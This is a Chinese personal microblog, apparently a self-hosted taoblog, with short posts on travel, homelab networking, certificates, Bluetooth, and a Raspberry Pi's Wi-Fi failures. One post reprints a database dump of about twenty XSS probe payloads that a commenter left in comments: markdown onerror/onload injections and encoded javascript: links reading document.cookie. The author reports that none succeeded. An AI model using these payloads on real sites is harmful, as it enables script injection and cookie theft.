碎碎念

陪她去流浪 新建

关于日历、生日和纪念日的几个问题

如果今天是1月31号,约定一个月后的今天为期。那么一个月的今天该是几号呢?

狗屁通的回答:

如果今天是 1 月 31 号,一个月后的“今天”通常指 同一天的下一个月,但如果下个月没有这一天,就取该月的最后一天。
	•	2 月通常只有 28 天(闰年 29 天),所以 2 月没有 31 号。
	•	因此,一个月后的今天应该是 2 月的最后一天:
	•	平年(28 天)→ 2 月 28 日
	•	闰年(29 天)→ 2 月 29 日

例如:
	•	2025 年 1 月 31 日 → 2025 年 2 月 28 日(平年)
	•	2024 年 1 月 31 日 → 2024 年 2 月 29 日(闰年)

如果你是按照 30 天计算一个月,那会是 3 月 2 日,但通常自然语言的“一个月后”是按日历月计算。

如果某人生日是 2.29,他如何过生日?

狗屁通的回答:

如果某人的生日是 2 月 29 日,但遇到 平年(没有 2 月 29 日) 时,他通常有以下几种过生日的方式:

1. 2 月 28 日过生日(最常见)
	•	逻辑:2 月 29 日的“前一天”是 2 月 28 日,因此许多人选择在 2 月 28 日庆祝。
	•	例如:2001、2005、2023 年等平年,很多 2.29 的人会在 2.28 庆祝。

2. 3 月 1 日过生日
	•	逻辑:2 月 29 日的“次日”是 3 月 1 日,因此有些人选择这天庆祝。
	•	例如:如果出生证明上写的是“满 X 岁”,那通常到 3 月 1 日才真正“满年”。

3. 只有闰年才正式庆祝(4 年一次)
	•	逻辑:严格按照 2 月 29 日,只在闰年庆祝大生日,平年时就象征性地选一天或者干脆不办。
	•	例如:有人会在 2024 年大办生日,之后等到 2028 年再正式庆祝一次。

4. 根据心情选择
	•	一些人会根据情况随意选择 2.28 或 3.1,甚至直接“生日周”庆祝。
没有评论 页首

以前用的充电桩都是非常粗的那种,今天用的理想很细、但竟然也可以达到 60kW 的功率。看起来理想技术还是不错的。

2条评论 页首

一年半,4 万公里,多不多?

没有评论 页首

逗狗咬,讨人嫌!

没有评论 页首

#越南 买当地电话卡的时候,被告知其 SIM 卡不支持“个人热点(Hot Spot)”功能。似信非信买了一张,果然在 iPhone 上无法开启 #个人热点(表现为:根本没有这个功能/选项)。

我一度非常疑惑,从我了解的技术上来说,运营商提供的 SIM 卡没有任何能限制个人热点无法使用的可能,因为这个功能是纯手机网络栈(软件层面)提供的能力,与网络硬件、甚至是接入层(SIM)无任何关联。

我更愿意认为这是运营商的垄断行为迫使 iPhone 遵守合规而不允许使用,也即:纯政策行为。

查了一下 iPhone 官方的运营商网络支持情况,越南电信(Viettel)是支持个人热点的,只是“使用个人热点和解锁功能可能会产生额外费用或需要满足额外要求。请联系运营商以了解更多信息。”。

神奇的现象:我发现我自己没插越南手机卡的 iPhone 手机上也无法开启热点(无此选项)。

所以有没有大佬了解相关知识?


相关问题:

2条评论 页首

所以深圳的中国电信是彻底把 #GitHub 给屏蔽了吗?

我们每天都在什么破事儿上浪费生命?

没有评论 页首

游戏竞速毕竟原来是按帧数统计的

在油管上看到超级玛丽的世界竞速比赛,其中的时间统计让我有路疑惑:跑秒部分,累计到 59 就到下一秒了,不是正常的 99.

经下面的评论回复提醒才知道:那不是跑秒,而是帧数。

然后我一细想就明白了:对于这种实时的主机游戏来说,帧率一定是固定的。在 NTSC 制式下,为 60. 所以用 60 表示 1 秒远远比掐秒表⏱️来得更精准。

真是长见识了。

没有评论 页首

感谢测试XSS注入,让您失望了,好像一条都没有成功呢?

下次测试的时候不要再别人的评论下回复了……免得发过多干扰邮件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ echo 'select id,author,source from comments where id >= 1855' | sqlite3 taoblog/taoblog.db
1855|james|![Uh oh...](https://www.example.com/image.png"onload="alert('XSS'))
1856|james|<img src="" onerror="alert('XSS') alt="Uh oh...">
1857|james|![Uh oh...]("onerror="alert('XSS'))
1858|james|[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
1859|james|![test]("onerror="alert('xss'))
1860|james|![test](https://xzfile.aliyuncs.com/media/upload/picture/20190302105527-a276e4a8-3c96-1.png"onload="alert('xss'))
1861|james|
[XSS](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))

1862|james|[XSS](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
1863|james|XSS](Javas&#99;ript:alert(1&#41;)
1864|james|[XSS](Javas&#99;ript:alert(1&#41;)
1865|james|[XSS](Javas%26%2399;ript:alert(1&#41;)
1866|james|![XSS'"`onerror=prompt(document.cookie)](x)\
1867|james|![XSS'" onerror="prompt(document.cookie)](x)\
1868|james|![XSS"  onerror="alert(document.cookie)](x)\
1869|james|![XSS' onload='alert(&apos;xss&apos;)](x)\
1870|james|![XSS” onload=“alert(&apos;xss&apos;)](x)\
1871|james|![XSS" onload="alert(&apos;xss&apos;)](x)\
1872|james|![XSS" onerror="alert(&apos;xss&apos;)](x)\
1873|james|![XSS\" onerror=\"alert(&apos;xss&apos;)](x)\
1874|james|[XSS](�javascript:alert(document.domain&#41;)

等等……怎么那么多中文引号……😅😅😅

  • 这篇文章在是柬埔寨发布的,有时区记录,但是时间显示有问题。本来应该是+7时区,但是显示成了+8时区。
没有评论 页首

看一篇关于 SQLite 的文章1时了解到 SQLite 的作者之一2生活东南亚,而我目前也正在东南亚,竟然莫名对东南亚的英语“South-East Asia”留意了一眼👀……等等,“South-East Asia”可以缩写成“SEA”,这不就是我前东家的母公司名字“Sea”3吗?其正好是主要服务于东南亚的一家企业,不知道是不是巧合。

没有评论 页首

虽然早就对 #泰国 的人妖有所耳闻,但是,当走进室内,几百人共同观看全裸着的身体“做一些爱做的事情”的时候,还是非常震撼的。我身后有一个中国大妈,好像还挺兴奋的。

无奈相机📷是不可能带进去的,只能在外面随便拍两张咯。

2条评论 页首

再次“小心地滑”——“Carefully Slide”

我真没想到会这么草台。

没有评论 页首

进入云南,一路上坡再下坡,车充了一路的电

就离谱……

没有评论 页首

又是一次差不多即将纵跨整个中国的自驾

上完最后一节课,立即出发。3500公里。

怎么还有阿坤:

没有评论 页首

以为快过年了 GitHub 看我辛苦了一年给我发福利来了❤️……噢,原来是全员福利🥵。

6条评论 页首

虽然早就知道可以在 GitHub 链接后面追加 .keys 取得公钥:

1
2
$ curl  https://github.com/movsb.keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHsZ2sKp3Brk3j8LvqT6B6HJqjCv3ZtpbMLq7T8mqQXJ

但是,早在 2013 年 OpenSSH 就把 GitHub 作为公钥服务器之一我是完全没想到的:

1
2
3
4
5
$ ssh-import-id -o- gh:movsb
2024-12-16 23:07:30,088 INFO Authorized key ['256', 'SHA256:nqso1AMa+5Ee4es7b6z6NQgnf7FJPcUtk1AMei1zJoc', 'movsb@github/91762316', '(ED25519)']
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHsZ2sKp3Brk3j8LvqT6B6HJqjCv3ZtpbMLq7T8mqQXJ movsb@github/91762316 # ssh-import-id gh:movsb

2024-12-16 23:07:30,089 INFO [1] SSH keys [Authorized]

参见:self-hosting.md - snips.sh

没有评论 页首

OpenAI 最近遭遇的全球大面积故障1报告出来了:部署的新服务给控制面 API 带来了过大的压力导致基于 DNS 的服务发现失败。

然后,我马上就想到了我自己家里的 HomeLab:因为即便在内网中,我也使用的是正式的 Let’s Encrypt 的证书,而它们的证书有效期一直都很短(3️⃣个月)。其间也多次因证书过期导致我的内网出现 K8s 拉不下来镜像的“循环依赖”问题。

所以,为了减少事故发生的次数,我决定将正式的证书换成自签证书。增加证书的有效期限并没有从根本上解决这个问题,只是减少了事故发生率。 若想真正解决,还得定期更新证书。我是草台班子!

自签证书依然使用 mkcert 来管理:

  1. 运行 mkcert -install 可以向系统安装并信任自签根证书;
  2. 运行 mkcert -CAROOT 可以得到根证书在各系统的路径;
  3. 拷贝根证书到其它系统并再次安装(各系统共享同一份);
  4. 运行 mkcert *.home.twofei.com 就可以生成域名证书了。

生成的 根证书/CA 有效期固定为 十年;生成的 域名证书 有效期大概为 两年半2


  1. API, ChatGPT & Sora Facing Issues ^

  2. Certificates last for 2 years and 3 months, which is always less than 825 days, the limit that macOS/iOS apply to all certificates. GitHub ^

没有评论 页首

没想到如今这个年头还能听到“黄页”1一词,也没想到“CardDav”2以这种方式出现在我的视野中……

突然感觉自己以前手动加的一些服务电话是不是太硬核了…… 不过,上述订阅的列表可能太大,对我来说可能有些多余。

安卓用户应该没有这样的烦恼?是不是 iOS 特有的?🤔


  1. 黄页(英语:Yellow pages),在很多国家和地区都用来表示一份商业用社会团体的电话名册、通讯目录。 —— Wikipedia ^

  2. CardDAV是一种地址簿客户端/服务器协议,旨在允许用户访问和共享服务器上的联系人数据。—— Wikipedia ^

没有评论 页首

git worktree

看起来 Worktree 是一个很不错的切换“临时”工作目录的方式,不用再临时暂存文件了。

简单说就是把仓库重新检出一份拷贝另外的目录,然后在那个目录工作。

这不就是上面☝️保存完所有临时文件后的状态?🤔

  1. How I Use Git Worktrees
  2. Git - git-worktree Documentation
1条评论 页首

iptables

一篇比较全面、比较好的关于 iptables 的文章:A Deep Dive into Iptables and Netfilter Architecture | DigitalOcean

讲解了所有的都是从5️⃣个钩子函数中衍生出来的;的存在是为了人为地体现出不同的调用优先级

以及,的遍历顺序:

  • Incoming packets destined for the local system: PREROUTING -> INPUT
  • Incoming packets destined to another host: PREROUTING -> FORWARD -> POSTROUTING
  • Locally generated packets: OUTPUT -> POSTROUTING
没有评论 页首

XML 6502,这个组合有点儿意思

实况
没有评论 页首

南方人第一次经历北方车轮上这么厚的雪

转弯的时候磨得咔咔地响,吓死我了。

实况
没有评论 页首

请猜测本人的精神状态?

4条评论 页首

想要一个这个“掌机”,感觉可以用来作为调试设备。

  1. https://soulscircuit.com/pilet

如果能搞定 3D 打印以及有足够的时间,也许我可以:

  • 用树莓派 Zero 2 W 来做一个微型的掌上电脑💻。
没有评论 页首

假玩了一把重装机兵🥵

截屏2024-12-05 03.00.53.avif

没有评论 页首

终于用上了 Tailscale,用于打通家庭网络。虽然早就有耳闻(基于 Wireguard —— 开箱即用的 VPN;来自 Golang 大佬 Brad Fitzpatrick)。

和 Cloudflare ArgoTunnel 一样的开箱即用 —— 只需要运行一条命令即完成全部的工作。

和我之前的家庭网络方案区别之处在于:Tailscale 支持 IPv4,而我的网络必须依赖 IPv6. 在不支持 IPv6 的环境下不方便使用。

虽然 Tailscale 打洞技术很厉害,但是实际体验还是远不如我的 IPv6 方案流畅(可能是因为打洞失败的缘故,没追究)。好在:稳定性更好。

还有一个缺点:Tailscale 使用了自己的私有 IP 网段(100.*.*.*)。而我原来原来的内网域名全部是解析到 192.168 上面的,导致需要临时修改。暂时没想到好的解决办法。

没有评论 页首

在 VSCode 里面编辑跨平台的 Go 项目时的语言服务器配置(.vscode/settings.json):

1
2
3
4
5
6
7
8
9
{
	"gopls": {
		"build.env": {
			"GOOS": "linux",
			"GOARCH": "arm64",
		}
	}
}

应该配置在项目目录下的配置文件中,而不是全局配置文件。

没有评论 页首

用了多年的 ssh -D 作为 OpenWRT 的后端,今日才发现 OpenSSH 实现的 -D 参数的 SOCKS 协议只支持 TCP CONNECT 命令,不支持 UDP;所以我的软路由一直不支持代理 UDP。

另外,由于目前的构架偏复杂:

  1. 需要运行 http2tcp
    1. 提供 TCP over HTTPS
  2. 需要运行 SSH
    1. 提供本地的 SOCKS5 端口绑定;
    2. 提供 TCP Multiplexing。

导致部署偏复杂,运维成本较高。所以拟重写部分组件:

  • 重写当前的 http2tcp 实现,以支持作为 package 供外部使用
  • 实现一个同时支持 TCP & UDP 转发的 SOCKS 协议端
    • 找到的开源版本不太好用,重写
    • 发现我根本不需要处理 SOCKS 请求细节,直接转发给服务器即可
  • 支持 Multiplexing 以将 SOCKS5 协议通过 http2tcp 转发
没有评论 页首

蓝牙入门

一篇文章: https://cdn-learn.adafruit.com/downloads/pdf/introduction-to-bluetooth-low-energy.pdf

Profiles A Profile doesn't actually exist on the BLE peripheral itself, it's simply a pre-defined collection of Services that has been compiled by either the Bluetooth SIG or by the peripheral designers. The Heart Rate Profile, for example, combines the Heart Rate Service and the Device Information Service. The complete list of officially adopted GATT-based profiles can be seen here: Profiles Overview (https://adafru.it/E8u).

That’s absolutely correct! In BLE terminology, Profiles do not physically exist on the peripheral device. Instead, a Profile is a logical collection of Services defined by either the Bluetooth Special Interest Group (SIG) or custom-developed by the designers of the peripheral device.

才发现,蓝牙的 Profile、Service、Characteristics 概念与 Apple 的 HomeKit 几乎一致;只不过在 Apple 里面,Profile 被称作 Accessories(配件)。

You could implement a simple UART-type interface with a custom 'UART Service' and two characteristics, one for the TX channel and one for the RX channel, where one characteristic might be configured as read only and the other would have write privileges.

Connect to Bluetooth Low Energy devices using Golang

  • 写一个 SSH over Bluetooth 实现:
    • 在树莓派上用蓝牙的读、写转换成网络连接用于连接 SSHD;
    • 在 Mac 上用蓝牙连接,并作为 SSH 的 ProxyCommand 底层。
    • 完整代码:https://github.com/movsb/tcp-over-bt
没有评论 页首

电子垃圾➕1(树莓派 Zero 2 W)

结合我现在的处境,猜猜看我要用它来干嘛?

产品手册:raspberry-pi-zero-2-w-product-brief.pdf

2025-3-31 23:31:51

警告

发现大流量时不太稳定!会自动断网,且不会重连,重启才能解决;nmcli 中之前连接到的 Wi-Fi 名字丢失。

tao@zero:~ $ sudo nmcli device show wlan0
GENERAL.DEVICE:                         wlan0
GENERAL.TYPE:                           wifi
GENERAL.HWADDR:                         2C:CF:67:7D:49:13
GENERAL.MTU:                            1500
GENERAL.STATE:                          20 (unavailable)
GENERAL.CONNECTION:                     --
GENERAL.CON-PATH:                       --
IP4.GATEWAY:                            --
IP6.GATEWAY:                            --
tao@zero:~ $ sudo nmcli device wifi rescan
Error: Scanning not allowed while unavailable.
2025-11-25 22:59:55

真的很垃圾,流量一大网卡硬件直接崩掉。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
[ 1674.675541] ieee80211 phy0: brcmf_cfg80211_get_channel: chanspec failed (-110)
[ 1677.235426] ieee80211 phy0: _brcmf_set_multicast_list: Setting allmulti failed, -110
[ 1679.795348] ieee80211 phy0: brcmf_proto_bcdc_query_dcmd: brcmf_proto_bcdc_msg failed w/status -110
[ 1679.795402] ieee80211 phy0: brcmf_cfg80211_get_tx_power: error (-110)
[ 1682.355244] ieee80211 phy0: _brcmf_set_multicast_list: Setting BRCMF_C_SET_PROMISC failed, err=-110
[ 1684.915245] ieee80211 phy0: brcmf_proto_bcdc_query_dcmd: brcmf_proto_bcdc_msg failed w/status -110
[ 1684.915294] ieee80211 phy0: brcmf_cfg80211_get_tx_power: error (-110)
[ 1692.594940] ieee80211 phy0: brcmf_vif_set_mgmt_ie: vndr ie set error : -110
[ 1692.594981] ieee80211 phy0: brcmf_cfg80211_scan: scan error (-110)
[ 1695.154810] ieee80211 phy0: brcmf_proto_bcdc_query_dcmd: brcmf_proto_bcdc_msg failed w/status -110
[ 1697.714719] ieee80211 phy0: _brcmf_set_multicast_list: Setting mcast_list failed, -110
[ 1700.274703] ieee80211 phy0: brcmf_run_escan: error (-110)
2025-12-17 21:33:25

已在闲鱼出手。现在改用 Cudy TR3000 了。既便宜,性能还更好。

2条评论 页首

自从买到了沙姜,在家里也可以自己做出很正宗的椰子🥥鸡🐓了——一家被我吃了上百次的深圳椰子鸡🥵。

没有评论 页首